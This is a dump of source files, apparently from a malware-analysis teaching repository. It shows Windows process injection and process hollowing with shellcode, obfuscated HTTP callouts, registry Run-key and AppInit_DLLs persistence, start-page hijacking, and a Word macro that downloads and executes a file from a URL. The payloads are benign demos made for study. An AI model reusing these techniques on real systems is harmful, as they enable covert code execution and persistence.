0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 495 | 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 496 | 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 497 | 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 498 | 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 499 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 500 | 0x00,0x53,0xff,0xd5 }; 501 | 502 | byte[] finalshellcode = new byte[shellcode.Length + target_.Length + 1]; 503 | Array.Copy(shellcode, finalshellcode, shellcode.Length); 504 | Array.Copy(target_, 0, finalshellcode, shellcode.Length, target_.Length); 505 | finalshellcode[shellcode.Length + target_.Length] = 0; 506 | 507 | Loader ldr = new Loader(); 508 | try 509 | { 510 | Console.WriteLine("X"); 511 | ldr.Load(HollowedProcessX85, finalshellcode); 512 | } 513 | catch (Exception e) 514 | { 515 | Console.WriteLine("[x] Something went wrong!" + e.Message); 516 | } 517 | } 518 | 519 | } 520 | } -------------------------------------------------------------------------------- /Dynamic Analysis/Process_Injection/ClassicProcessInjection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | // Will start a new process (notepad.exe) & inject shellcode into it 4 | // Shellcode will just pop a messagebox 5 | // Author: Issac @1d8 6 | // Date: 21 April 2024 7 | 8 | //https://www.ired.team/offensive-security/code-injection-process-injection/process-injection 9 | 10 | int main() { 11 | // Shellcode will just pop a messagebox 12 | unsigned char buf[] = 13 | "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41\x51" 14 | "\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48" 15 | "\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48" 16 | "\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02" 17 | "\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e" 18 | "\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88" 19 | "\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48" 20 | "\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e" 21 | "\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41" 22 | "\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24" 23 | "\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0" 24 | "\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e" 25 | "\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41" 26 | "\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" 27 | "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7\xc1" 28 | "\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e\x4c\x8d" 29 | "\x85\x46\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff" 30 | "\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x50\x72\x6f" 31 | "\x63\x65\x73\x73\x20\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x20" 32 | "\x69\x6e\x6a\x65\x63\x74\x69\x6f\x6e\x20\x65\x78\x61\x6d\x70" 33 | "\x6c\x65\x20\x62\x79\x20\x31\x64\x38\x2e\x20\x42\x6c\x6f\x67" 34 | "\x3a\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x64\x38\x2e\x67" 35 | "\x69\x74\x68\x75\x62\x2e\x69\x6f\x00\x4d\x65\x73\x73\x61\x67" 36 | "\x65\x42\x6f\x78\x00"; 37 | 38 | STARTUPINFO startupInfo; 39 | PROCESS_INFORMATION procInfo; 40 | memset(&startupInfo, 0, sizeof(startupInfo)); 41 | startupInfo.cb = sizeof(startupInfo); 42 | memset(&procInfo, 0, sizeof(procInfo)); 43 | // Create the initial process we want to inject into 44 | //BOOL procCreateResult = CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &procInfo); 45 | // Create initial process we want to inject into, detaching it from parent process to make it a little less suspicious (theoretically, this should work) 46 | BOOL procCreateResult = CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS, NULL, NULL, &startupInfo, &procInfo); 47 | // Grabbing process handle 48 | HANDLE processHandle = procInfo.hProcess; 49 | // Allocating memory within the target process for our shellcode 50 | LPVOID rBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 51 | // Writing shellcode into allocated memory 52 | WriteProcessMemory(processHandle, rBuffer, buf, sizeof buf, NULL); 53 | // Creating remote thread to execute the shellcode 54 | HANDLE rThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL); 55 | CloseHandle(processHandle); 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /Dynamic Analysis/dynamic_analysis.c: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 22 December 2021 3 | // Description: A program that demonstrates process hollowing and PEB-walking. 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #pragma comment(lib,"wininet.lib") 11 | 12 | typedef LONG (NTAPI *pfnZwUnmapViewOfSection)(HANDLE, PVOID); 13 | 14 | /*sets up some arrays used for domain names*/ 15 | void initialize(void); 16 | 17 | /* This is a simple XOR decrypt, used primarily to 'hide' strings in the binary */ 18 | void decrypt(char*src, size_t key, size_t size); 19 | 20 | void make_http_requests(void); 21 | 22 | void control_flow_obfuscation(int argc); 23 | 24 | void locate_nt_ldrLoadDll(void); 25 | 26 | void process_hollowing_example(void); 27 | 28 | char domains[3][25] = {0}; 29 | 30 | const unsigned int xor_key = 97; 31 | 32 | /* Created with msfvenom, null-bytes as bad characters */ 33 | char * shellcode_winexec_calc = "\xcc"; 34 | 35 | int main(int argc, char argv[], char envp[]) { 36 | 37 | initialize(); 38 | 39 | control_flow_obfuscation(argc); 40 | 41 | make_http_requests(); 42 | 43 | locate_nt_ldrLoadDll(); 44 | 45 | process_hollowing_example(); 46 | } 47 | 48 | void initialize(void) { 49 | time_t t; 50 | 51 | srand((unsigned) time(&t)); 52 | 53 | strcpy(domains[0], "\x09\x15\x15\x11\x5b\x4e\x4e\x51\x19\x04\x17\x08\x0d\x02\x51\x05\x04\x4f\x02\x0e\x0c"); 54 | strcpy(domains[1], "\x09\x15\x15\x11\x5b\x4e\x4e\x05\x12\x14\x4f\x04\x05\x14"); 55 | strcpy(domains[2], "\x09\x15\x15\x11\x5b\x4e\x4e\x0f\x12\x20\x4f\x06\x0e\x17"); 56 | } 57 | 58 | void decrypt(char *src,size_t key, size_t size) { 59 | int i = 0; 60 | 61 | for (i = 0; i < size; i++) { 62 | src[i] ^= key; 63 | } 64 | } 65 | 66 | void make_http_requests(void) { 67 | size_t i = 0; 68 | HANDLE internet_handle; 69 | 70 | internet_handle = InternetOpen("Mozilla/4.0 (Lab Environment)",INTERNET_OPEN_TYPE_PRECONFIG,0,0,0); 71 | 72 | for(i = 0; i < 3; i++) { 73 | decrypt(domains[i], xor_key, strlen(domains[i])); 74 | 75 | if(internet_handle != NULL){ 76 | InternetOpenUrl(internet_handle, domains[i], 0,0,0x84000000,0); 77 | } 78 | Sleep(2000); 79 | } 80 | InternetCloseHandle(internet_handle); 81 | } 82 | 83 | void control_flow_obfuscation(int argc) { 84 | char st[22] = "ping "; 85 | char *beg = &st[6]; 86 | char del = ' '; 87 | 88 | if (argc - 1 > 0) 89 | { 90 | switch(argc) { 91 | case 1: 92 | strcpy(beg, "8.8.8.8"); 93 | 94 | break; 95 | case 2: 96 | strcpy(beg, "0.0.0.0"); 97 | break; 98 | case 4: 99 | puts("error"); 100 | } 101 | } 102 | } 103 | 104 | void locate_nt_ldrLoadDll (void) { 105 | 106 | DWORD dwNtdllBase = 0; 107 | DWORD dwAddressOfOrdinal = 0; 108 | DWORD dwAddressOfNames = 0; 109 | DWORD dwAddressOfFunctions = 0; 110 | DWORD dwLdrLoadDll = 0; 111 | 112 | char*api = "LdrLoadDll"; 113 | //char*api = "ZwUnmapViewOfSection"; 114 | char * export = {0}; 115 | int i = 0, num_exports = 0, len = 0; 116 | 117 | __asm 118 | { 119 | 120 | xor ebx, ebx ; // clear ebx 121 | mov ebx, fs:[ 0x30 ] ; // get a pointer to the PEB 122 | //More information on the PEB: https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx 123 | mov ebx, [ ebx + 0x0C ] ; // get PEB->Ldr - https://msdn.microsoft.com/en-us/library/windows/desktop/aa813708(v=vs.85).aspx 124 | mov ebx, [ ebx + 0x1C ] ; // get PEB->Ldr.InInitializationOrderModuleList.Flink (1st entry) 125 | mov ebx, [ ebx + 0x08 ] ; // get the entries base address 126 | 127 | mov dwNtdllBase, ebx 128 | 129 | //find exports via pe file 130 | xor eax, eax 131 | mov eax, ebx // Start with image base 132 | add eax, [ eax + 0x3c ] // get e_lfanew 133 | mov eax, [ eax + 0x78 ] // get IMAGE_DATA_DIRECTORY->EXPORT 134 | add eax, ebx //get virutal address for Export 135 | 136 | // get number of exports 137 | mov esi, [eax + 0x14] 138 | mov num_exports, esi 139 | 140 | mov edx, [ eax + 0x20] // get addressofnames RVA 141 | add edx, ebx // adjust to get VA 142 | mov dwAddressOfNames, edx //store for later use 143 | 144 | mov edx, [ eax + 0x1C] // Get AddressOfFunctions RVA 145 | add edx, ebx //adjust to get RVA 146 | mov dwAddressOfFunctions, edx //store for later use 147 | 148 | mov edx, [ eax + 0x24] // AddressOfOrdinal RVA 149 | add edx, ebx // adjust to get VA 150 | mov dwAddressOfOrdinal, edx 151 | 152 | //Iterates AddressOfNames (ASCII name of export) 153 | mov edx, dwAddressOfNames 154 | 155 | mov ecx, 0xA //maximimum length we need to search TODO: change if you want to search a longer export name 156 | xor eax, eax //this will be used to index the AddressOfFunction array once we find the export 157 | next_name: 158 | inc eax 159 | mov esi, [edx] 160 | add esi, ebx // VA of ENT 161 | 162 | add edx, 0x4 //increment to next array element (next function name) 163 | 164 | mov edi, api //string we want to compare 165 | cld 166 | push ecx 167 | push esi 168 | push eax 169 | repe cmpsb 170 | pop eax 171 | pop esi 172 | pop ecx 173 | 174 | jne next_name //jump if no match, if match continue to find ordinal then function address 175 | 176 | dec eax 177 | 178 | mov edx, dwAddressOfOrdinal 179 | movzx eax, word ptr [eax*2+edx] //ordinal of function, note the size 180 | 181 | mov ecx, dwAddressOfFunctions 182 | mov ecx, [eax*4+ecx] 183 | add ecx, ebx 184 | mov dwLdrLoadDll, ecx 185 | } 186 | //printf("[*] Found %s 0x%08x\n",api, dwLdrLoadDll); 187 | //printf("[*] Found %d exports\n", num_exports); 188 | } 189 | 190 | void process_hollowing_example(void) { 191 | 192 | STARTUPINFO si = {0}; 193 | PROCESS_INFORMATION pi = {0}; 194 | CONTEXT c = {0}; 195 | void*targetProcessMemory = {0}; 196 | 197 | char*target_exe = TEXT("c:\\Windows\\System32\\svchost.exe"); 198 | 199 | if (CreateProcess(target_exe,NULL,NULL,NULL,FALSE,0x4, NULL, NULL, &si, &pi) == 0) { 200 | puts("[!] CreateProcess failed"); 201 | } else { 202 | puts("[*] Process Created"); 203 | } 204 | GetThreadContext(pi.hThread, &c); 205 | //Could also use the locate_nt_ldrLoadDll function to return function pointers 206 | HANDLE ntdllBase = GetModuleHandleA("ntdll.dll"); 207 | pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(ntdllBase,"ZwUnmapViewOfSection"); 208 | //This expects the code to be loaded at the default image base of 0x400000, if the module/exe is using ASLR than it will be different. 209 | // One solution is to identify the load address and adjust accordingly. 210 | pZwUnmapViewOfSection( pi.hProcess, 0x400000); 211 | targetProcessMemory = VirtualAllocEx(pi.hProcess, 0x400000, 0x220, 0x3000, 0x40); 212 | 213 | if(targetProcessMemory == NULL) { 214 | //Just to help with debugging 215 | puts("[!] Allocation failed"); 216 | } 217 | 218 | if(WriteProcessMemory(pi.hProcess, targetProcessMemory, shellcode_winexec_calc, 220, NULL) == 0) { 219 | //Just to help with debugging 220 | puts("[!] Failed to write new code"); 221 | } 222 | 223 | c.Eax = (DWORD)targetProcessMemory; 224 | c.ContextFlags = CONTEXT_INTEGER; 225 | 226 | SetThreadContext(pi.hThread, &c); 227 | 228 | ResumeThread(pi.hThread); 229 | } 230 | -------------------------------------------------------------------------------- /Dynamic Analysis/process_exploration/process_explorer.c: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 19 April 2024 3 | // Description: A small program to help explore tools such as Process Explorer, SystemInformer or Proces Hacker 2 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #pragma comment(lib, "kernel32.lib") 11 | #pragma comment(lib, "advapi32.lib") 12 | #pragma comment(lib, "shell32.lib") 13 | 14 | //prototypes 15 | void copy_self_persist(const char*current_location); 16 | BOOL file_exists(LPCTSTR szPath); 17 | 18 | // Global data 19 | char mutex_name[] = "TheCyberYeti"; 20 | 21 | void main(void) { 22 | HANDLE h_mutex = NULL; 23 | char self_path[100] = {0}; //note the compiler will add a function to handle the zeroing of this memory. 24 | 25 | HANDLE h_demo_dll = NULL; 26 | void * rwx_memory = NULL; 27 | 28 | // Check for MUTEX to handle synchronization 29 | h_mutex = OpenMutex(SYNCHRONIZE,FALSE,mutex_name); 30 | 31 | if(!h_mutex) { 32 | 33 | h_mutex = CreateMutex(NULL, TRUE, mutex_name); 34 | 35 | //check current location for persistence 36 | GetModuleFileName(NULL,self_path, 100); 37 | 38 | // If not in AppData, perform persistence 39 | if (strstr(self_path, "AppData") == 0) 40 | { 41 | copy_self_persist(self_path); 42 | } 43 | 44 | //powershell command: Start-Sleep -seconds 60 45 | ShellExecute(NULL,NULL,"powershell.exe", "-enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANgAwAA==", NULL,SW_HIDE); 46 | 47 | //Load a library 48 | h_demo_dll = LoadLibrary("demo_dll.dll"); 49 | 50 | //Allocate some memory 51 | rwx_memory = VirtualAlloc(0, 0x100, 0x1000, 0x40); 52 | 53 | for (int i = 0; i<200;i++) { 54 | 55 | memmove(((char *)rwx_memory + i),&i,1); 56 | } 57 | 58 | Sleep(300000);//300 seconds or 5 minutes 59 | } 60 | 61 | //clean-up 62 | CloseHandle(h_mutex); 63 | } 64 | 65 | void copy_self_persist(const char*current_location) { 66 | char drop_name[] = "\\FlyingToasters.scr"; 67 | char run_key[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 68 | char sub_key[] = "TheCyberYeti"; 69 | 70 | HANDLE h_self_path = NULL; 71 | HANDLE h_target_path = NULL; 72 | char env_path[100] = {0}; 73 | char*end_env_path = NULL; 74 | int self_file_size = 0; 75 | void*read_buffer = 0; 76 | 77 | HKEY hKey; 78 | 79 | STARTUPINFO si = {0}; 80 | PROCESS_INFORMATION pi = {0}; 81 | CONTEXT c = {0}; 82 | 83 | GetEnvironmentVariable("TMP",env_path, 100); 84 | 85 | end_env_path = strrchr(env_path,0x5c); //get end of path string 86 | 87 | strncat(end_env_path, drop_name,strlen(drop_name)); 88 | 89 | if(!file_exists(env_path)){ 90 | 91 | //read self from current location 92 | h_self_path = CreateFile(current_location,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); 93 | 94 | if(h_self_path) { 95 | 96 | h_target_path = CreateFile(env_path,GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL); 97 | printf("%s\n",env_path); 98 | if (h_target_path) { 99 | self_file_size = GetFileSize(h_self_path,NULL); 100 | 101 | read_buffer = VirtualAlloc(NULL, self_file_size, MEM_COMMIT, PAGE_READWRITE); 102 | 103 | if (read_buffer) { 104 | ReadFile(h_self_path, read_buffer, self_file_size,NULL,NULL); 105 | WriteFile(h_target_path,read_buffer,self_file_size,NULL, NULL); 106 | } 107 | VirtualFree(read_buffer,0,MEM_RELEASE); 108 | CloseHandle(h_target_path); 109 | } 110 | } 111 | 112 | CloseHandle(h_self_path); 113 | 114 | //Add persistence from registry 115 | if(RegOpenKeyEx(HKEY_CURRENT_USER, run_key, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) 116 | { 117 | RegSetValueEx(hKey, sub_key, 0, REG_SZ, (const unsigned char*)env_path, sizeof(env_path)); 118 | RegCloseKey(hKey); 119 | } 120 | } 121 | //now launch 122 | CreateProcess(env_path,NULL,NULL,NULL,FALSE,0x00000008, NULL, NULL, &si, &pi); 123 | exit(0); 124 | } 125 | 126 | //https://stackoverflow.com/questions/3828835/how-can-we-check-if-a-file-exists-or-not-using-win32-program 127 | BOOL file_exists(LPCTSTR szPath) 128 | { 129 | DWORD dwAttrib = GetFileAttributes(szPath); 130 | 131 | return (dwAttrib != INVALID_FILE_ATTRIBUTES && 132 | !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); 133 | } -------------------------------------------------------------------------------- /Execution/winexec.cpp: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 22 December 2021 3 | // Description: A very simple program that can be used to launch commands and other utilities. This can be helpful when you want to study the exection of living off the land techniques without real malware 4 | 5 | #include 6 | using namespace std; 7 | 8 | int main(){ 9 | char cmd[200] = "cmd.exe /C calc.exe"; 10 | 11 | WinExec(cmd,1); 12 | } -------------------------------------------------------------------------------- /Malicous Documents/Word/README.md: -------------------------------------------------------------------------------- 1 | ## simple_download_execute.docm 2 | 3 | Macro-enabled OOXML document that downloads a file from a URL and executes it. 4 | 5 | ``` 6 | Sub Document_Open() 7 | Dim URL As String 8 | Dim LocalFilename As String 9 | 10 | URL = "http://www.thecyberyeti.com/abc/notrealmalware.exe" 11 | LocalFilename = Environ("TEMP") & "\cyberyeti.exe" 12 | 13 | Dim WinHttpReq As Object 14 | Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") 15 | 16 | WinHttpReq.Open "GET", URL, False 17 | WinHttpReq.send 18 | 19 | If WinHttpReq.Status = 200 Then 20 | Dim oStream As Object 21 | Set oStream = CreateObject("ADODB.Stream") 22 | oStream.Open 23 | oStream.Type = 1 24 | oStream.Write WinHttpReq.responseBody 25 | oStream.SaveToFile LocalFilename, 2 26 | oStream.Close 27 | End If 28 | 29 | Set WinHttpReq = Nothing 30 | Set oStream = Nothing 31 | 32 | Shell (LocalFilename) 33 | End Sub 34 | ``` 35 | 36 | ## word_template_msgbox.dotm 37 | 38 | Macro-enabled OOXML Word template file that presents a simple message box. This can be used to test such techniques as remote template injection. 39 | 40 | ``` 41 | Sub Document_Open() 42 | MsgBox "The Cyber Yeti Says Hello from the Template" 43 | End Sub 44 | ``` -------------------------------------------------------------------------------- /Malicous Documents/Word/simple_download_execute.docm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Malicous Documents/Word/simple_download_execute.docm -------------------------------------------------------------------------------- /Malicous Documents/Word/word_template_msgbox.dotm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Malicous Documents/Word/word_template_msgbox.dotm -------------------------------------------------------------------------------- /Persistence/AppInit_DLL_Injection/AppInitInjection.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jstrosch/learning-malware-analysis/84145734b76aeeb149b70e33214a480ab0177b19/Persistence/AppInit_DLL_Injection/AppInitInjection.gif -------------------------------------------------------------------------------- /Persistence/AppInit_DLL_Injection/Appinit_dllsinjection.c: -------------------------------------------------------------------------------- 1 | /* 2 | Requires Administrator privileges 3 | 4 | Targeted DLL: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows 5 | The following keys must be set to the respective values: 6 | - AppInitDLLs - Set this to the full path of the malicious DLL (C:\Users\Administrator\Desktop\inject.dll) 7 | - LoadAppInit_DLLs - 1 8 | - RequireSignedAppInit_Dlls - 0 9 | 10 | Then any process that utilizes WinAPI within Windows will trigger execution of our malicious DLL 11 | */ 12 | 13 | #include 14 | #include 15 | 16 | char maliciousDLLPath[] = {"C:\\Users\\Administrator\\Desktop\\inject.dll"}; //Change this to malicious DLL 17 | char appInitDllsPath[] = {"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"}; 18 | char appInitDllsSubkey[] = {"AppInit_DLLs"}; 19 | char appInitDllsLoadPath[] = {"LoadAppInit_DLLs"}; 20 | char appInitDllsRequireSignedPath[] = {"RequireSignedAppInit_DLLs"}; 21 | DWORD signedValue = 0x0; 22 | DWORD loadValue = 0x1; 23 | 24 | int main() { 25 | HKEY hKey; 26 | LSTATUS openResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, appInitDllsPath, 0, KEY_ALL_ACCESS, &hKey); 27 | if (openResult != ERROR_SUCCESS) { 28 | // Error encountered opening registry key 29 | if (openResult == ERROR_FILE_NOT_FOUND) { 30 | printf("Key not found!\n"); 31 | return 0; 32 | } else { 33 | printf("Error opening key!\n"); 34 | return 0; 35 | } 36 | } else { 37 | // Successfully opened registry key 38 | printf("Opened key!\n"); 39 | LSTATUS setAppInitDllsSubkeyResult = RegSetValueEx(hKey, appInitDllsSubkey, 0, REG_SZ, maliciousDLLPath, sizeof(maliciousDLLPath)); 40 | if (setAppInitDllsSubkeyResult != ERROR_SUCCESS) { 41 | printf("Error encountered when setting AppInit_DLLs path\n"); 42 | return 0; 43 | } else { 44 | printf("Successfully set path to malicious DLL for AppInit_DLLs path\n"); 45 | } 46 | // REG_DWORD 47 | // Data will be HexValue 48 | LSTATUS setAppInitDllsLoadPathResult = RegSetValueEx(hKey, appInitDllsLoadPath, 0, REG_DWORD, (BYTE*)&loadValue, sizeof(0x1)); 49 | if (setAppInitDllsLoadPathResult != ERROR_SUCCESS) { 50 | printf("Error encountered when setting the DLLs load path to 1\n"); 51 | return 0; 52 | } else { 53 | printf("Successfully set DLLs load path to 1\n"); 54 | } 55 | 56 | LSTATUS setSignedPathResult = RegSetValueEx(hKey, appInitDllsRequireSignedPath, 0, REG_DWORD, (BYTE*)&signedValue, sizeof(0x0)); 57 | if (setSignedPathResult != ERROR_SUCCESS) { 58 | printf("Error encountered when setting the signed DLLs path\n"); 59 | return 0; 60 | } else { 61 | printf("Successfully set signed DLLs path to 0\n"); 62 | } 63 | 64 | RegCloseKey(hKey); 65 | } 66 | 67 | } -------------------------------------------------------------------------------- /Persistence/AppInit_DLL_Injection/README.md: -------------------------------------------------------------------------------- 1 | # AppInit_DLLs Injection 2 | 3 | `inject.c` is a simple DLL application that is meant to imitate a malicious DLL. It currently just pops a message box for PoC purposes. 4 | 5 | `Appinit_dllsinjection.c` is an executable that changes the respective `AppsInit_DLLs` registry subkeys, including: 6 | 7 | * `AppInit_DLLs` which points to our *malicious* DLL path 8 | * `LoadAppInit_DLLs` which is set to *1* in order to allow the system to load AppInit DLLs 9 | * `RequireSignedAppInit_DLLs` which is set to *0* in order to avoid allowing only signed DLLs to be loaded 10 | 11 | By doing this, we force the system to load our DLL into every process that loads `User32.dll` which means a majority of processes that are executed on a system will load our *malicious* DLL file & execute our code! 12 | 13 | ## ATT&CK Details 14 | 15 | * Technique ID: T1546.010 16 | * Subtechnique of: T1546 17 | * https://attack.mitre.org/techniques/T1546/010/ 18 | 19 | 20 | ![AppInit DLL Injection](AppInitInjection.gif) 21 | 22 | -------------------------------------------------------------------------------- /Persistence/AppInit_DLL_Injection/inject.c: -------------------------------------------------------------------------------- 1 | # include 2 | 3 | /* Targeted DLL: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows 4 | The following keys must be set to the respective values: 5 | - AppInitDLLs - Set this to the full path of the malicious DLL 6 | - LoadAppInit_DLLs - 1 7 | - RequireSignedAppInit_Dlls - 0 8 | 9 | Then any process that utilizes WinAPI within Windows will trigger execution of our malicious DLL 10 | 11 | */ 12 | 13 | //DllMain is same as main() within a C program, it is executed by default when the DLL is loaded 14 | BOOL WINAPI DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { 15 | switch(ul_reason_for_call) { 16 | case DLL_PROCESS_ATTACH: 17 | MessageBox(NULL, "AppInitDLL Injection example code. Check out da blog: https://1d8.github.io", "AppInitDLL Injection", MB_OK | MB_ICONINFORMATION); 18 | break; 19 | case DLL_PROCESS_DETACH: 20 | //MessageBox(NULL, "AppCertDLL Injection", "You've been injected! Check out da blog: https://1d8.github.io/", MB_OK | MB_ICONINFORMATION); 21 | break; 22 | case DLL_THREAD_ATTACH: 23 | //MessageBox(NULL, "AppCertDLL Injection", "You've been injected! Check out da blog: https://1d8.github.io/", MB_OK | MB_ICONINFORMATION); 24 | break; 25 | case DLL_THREAD_DETACH: 26 | //MessageBox(NULL, "AppCertDLL Injection", "You've been injected! Check out da blog: https://1d8.github.io/", MB_OK | MB_ICONINFORMATION); 27 | break; 28 | } 29 | return TRUE; 30 | } 31 | -------------------------------------------------------------------------------- /Persistence/RegistryAutoStart.c: -------------------------------------------------------------------------------- 1 | //Provides access to Windows API for registry 2 | #pragma comment(lib, "advapi32.lib") 3 | 4 | #include 5 | #include 6 | 7 | char szRunKey[] = {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"}; 8 | char szMyAppPath[] = {"C:\\Windows\\system32\\calc.exe"}; 9 | char szMyappSubKey[] = {"CSC432"}; 10 | 11 | int main(void) 12 | { 13 | HKEY hKey; 14 | //What are the limits of writing to HKLM? 15 | //if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, szRunKey, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) 16 | 17 | //Let's write to HKCU 18 | if(RegOpenKeyEx(HKEY_CURRENT_USER, szRunKey, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) 19 | { 20 | if(RegSetValueEx(hKey, szMyappSubKey, 0, 21 | REG_SZ, (const unsigned char*)szMyAppPath, 22 | sizeof(szMyAppPath)) == ERROR_SUCCESS) 23 | puts("Create Run key successful"); 24 | else 25 | puts("RegSetValueEx failed"); 26 | 27 | RegCloseKey(hKey); 28 | } 29 | else 30 | puts("RegOpenKeyEx key failed"); 31 | 32 | return 0; 33 | } -------------------------------------------------------------------------------- /Persistence/RegistryBrowserStartPage.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Will change Internet Explorer's (IE) Start Page by modifying the registry key to point to my blog 5 | // Possible tactic that browser hijacking may employ 6 | // Author: Issac @1d8 7 | // Date: 29 March 2024 8 | 9 | char szStartPageKey[] = {"Software\\Microsoft\\Internet Explorer\\Main"}; 10 | char szMaliciousStartPage[] = {"https://1d8.github.io"}; // NOt really malicious, just a cool blog (: 11 | char szMyappSubKey[] = {"Start Page"}; 12 | 13 | 14 | int main() { 15 | HKEY hKey; 16 | LSTATUS openResult, setResult; 17 | openResult = RegOpenKeyEx(HKEY_CURRENT_USER, szStartPageKey, 0, KEY_ALL_ACCESS, &hKey); 18 | if (openResult != ERROR_SUCCESS) { 19 | // Error encountered while opening registry key 20 | if (openResult == ERROR_FILE_NOT_FOUND) { 21 | printf("Key not found\n"); 22 | return 0; 23 | } else { 24 | printf("Error opening key!\n"); 25 | return 0; 26 | } 27 | } else { 28 | // Successfully opened registry key 29 | setResult = RegSetValueEx(hKey, szMyappSubKey, 0, REG_SZ, szMaliciousStartPage, sizeof(szMaliciousStartPage)); 30 | if (setResult != ERROR_SUCCESS) { 31 | printf("Error encountered while setting registry key value"); 32 | return 0; 33 | } else { 34 | printf("Changed IE's start page!"); 35 | return 0; 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Process Security Access Rights/Injection/build.bat: -------------------------------------------------------------------------------- 1 | cl -Zi inject.c /link kernel32.lib ntdll.lib advapi32.lib 2 | 3 | cl /LD demo_dll.c /link user32.lib kernel32.lib -------------------------------------------------------------------------------- /Process Security Access Rights/Injection/demo_dll.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #pragma comment(lib, "ws2_32.lib") 5 | 6 | // https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain 7 | BOOL WINAPI DllMain( 8 | HINSTANCE hinstDLL, // handle to DLL module 9 | DWORD fdwReason, // reason for calling function 10 | LPVOID lpvReserved ) // reserved 11 | { 12 | // Perform actions based on the reason for calling. 13 | switch( fdwReason ) 14 | { 15 | case DLL_PROCESS_ATTACH: 16 | MessageBoxA(NULL,"In the DLL", 